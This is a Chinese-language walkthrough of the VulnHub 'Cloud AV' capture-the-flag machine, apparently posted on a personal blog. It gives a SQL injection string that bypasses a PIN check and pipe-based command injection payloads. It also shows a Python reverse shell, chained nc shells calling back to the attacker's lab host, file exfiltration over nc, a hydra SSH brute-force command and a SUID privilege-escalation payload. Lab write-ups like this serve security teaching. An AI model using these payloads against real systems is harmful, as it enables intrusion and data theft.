VulnHub-BoredHackerBlog: Cloud AV
1.主机发现


2.端口扫描
拿到IP后,对靶机进行全端口扫描,探测靶机开启了22和8080两个端口

3.服务发现
扫描出这两个端口后,使用namp对打开端口进行服务和版本的发现
22端口跑的是OpenSSH服务,操作系统是Ubuntu;8080端口跑的是http服务,服务器端可能运行Python的环境

4.WEB侦查
既然是Web服务,那就试一下呗

用我英语十级的水平一翻译还是简简单单的

插一段JavaScript试一下,结果有东西
<script>function myFunction(){alert("你好,我是一个警告框!");}</script>

随便点点试试发现一个弹窗要求输入PIN码

别问咋知道的,问就是英语十级

这我也不知道PIN码,只能再试一下其它的。扫了一下目录发现只有一个返回200

发现跟前面是一样的

没得办法,只能去查一下相关资料,结果发现http://192.168.56.103:8080/页面有两种方法可以登录
-
SQL注入
-
暴力破解
补充:暴力破解邀请码
kali自带字典位置/usr/share/wordlists
选中字典后使用burp suit进行爆破

5.SQL注入
观察前面发现的页面发现存在SQL注入(最后一行的绿框)
if len(c.execute('select * from code where password="' + password + '"').fetchall()) > 0:

然后构造语句插入绕过PIN码验证,使用or 1=1使条件永为真,即输入
" or 1=1 -- +

6.命令注入
绕过后显示一个云防病毒扫描器界面

输入其中一个文件名bash之后发现一些奇奇怪怪的东西

用我英语十级的智慧翻译一下发现是扫描摘要

所以猜测这是一个用管道符连接的命令执行漏洞,在后端执行的命令逻辑为
avscan bash | ls
这样输入bash | ls得到

7.反弹SHELL
因为服务器运行的是Python环境,可使用Python反弹shell(大佬说的)
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.56.102",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
在这里使用nc反弹,先用bash | which nc查看靶机有没有nc,发现返回路径,说明靶机存在nc

于是乎开启侦听nc反弹,kali端执行侦听

但是浏览器执行bash | nc 192.168.56.102 4444 -e /bin/sh失败了,因为有些nc版本不支持-e参数,所以删除-e参数(bash | nc 192.168.56.102 4444),发现可以收到链接了

8.NC串联
先在kali开启两个监听,分别监听3333和4444端口

在浏览器执行下面的命令(执行后会先在3333端口建立链接,这时在3333输入任何命令都会调用/bin/bash,执行之后从4444端口输出)
bash | nc 192.168.56.102 3333 | /bin/bash | nc 192.168.56.102 4444
终端两个nc都收到了返回,在3333端口执行命令,会在4444端口看到返回

9.下载文件
开启nc侦听5555端口并将得到的数据存入db.sql(nc -nlvp 5555 > db.sql)
之后在3333端口执行nc 192.168.56.102 5555 < database.sql

用sqlite打开db.sql

10.查看目标用户
在3333端口执行cat /etc/passwd查看所有用户

用cat /etc/passwd | grep /bin/bash筛选出具有shell执行权限的用户,有三个:root,cloudav,scanner

11.密码爆破
知道了账号密码,做个字典爆破试试
创建用户名文件(vi user.txt)

创建密码文件(vi pass.txt)

字典做好了,用hydra对SSH爆破
hydra -L user.txt -P pass.txt ssh://192.168.56.103

可惜失败了,哎!
12.其它文件收集
外部信息基本都搞完了,只能再从靶机内部入手了,查看其它文件发现在上一级目录中有相同名称的文件,并且其中一个文件的所有者是root

13.代码审计
如果能进行命令注入,就能得到root权限,查看源文件(cat update_cloudav.c)

可看到在执行该文件时需在后面加命令

我咋知道的呢?因为英语十级很强

14.SUID提权
看到调用了log,猜测也可调用nc,所以再次使用nc命令反弹shell并在kali端监听5555和6666端口
./update_cloudav "a | nc 192.168.56.102 5555 | /bin/bash | nc 192.168.56.102 6666"

查看监听终端


本人所有文章均为技术分享,均用于防御为目的的记录,所有操作均在实验环境下进行,请勿用于其它用途,否则后果自负,作者不承担相应的后果。
浙公网安备 33010602011771号